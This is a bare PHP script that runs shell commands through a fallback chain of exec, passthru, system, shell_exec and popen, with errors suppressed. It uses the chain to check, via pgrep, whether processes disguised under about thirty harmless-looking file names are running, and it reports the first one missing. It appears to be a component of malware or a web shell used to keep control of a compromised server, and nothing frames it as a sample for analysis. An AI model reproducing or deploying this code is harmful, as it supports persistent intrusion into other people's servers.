<?php   $files = ['uploadimages','askquestion','class.recipenav','cma_m_picman','adv_search','freesansi','gc_details','statsLib.class','layout.css','ListStyle','usergroup_6','Exception','upload_file','xajax.inc','htmlMimeMail','mod_gtranslate','config_ads','default_wdb','loggedout','StartProfiler','edituser_actions','album_modcp','catHandler','gradeexport_xml','moderate.inc','send_invitations','adr_mini_faq','class.misc','idv_mailin_form','editDuties']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }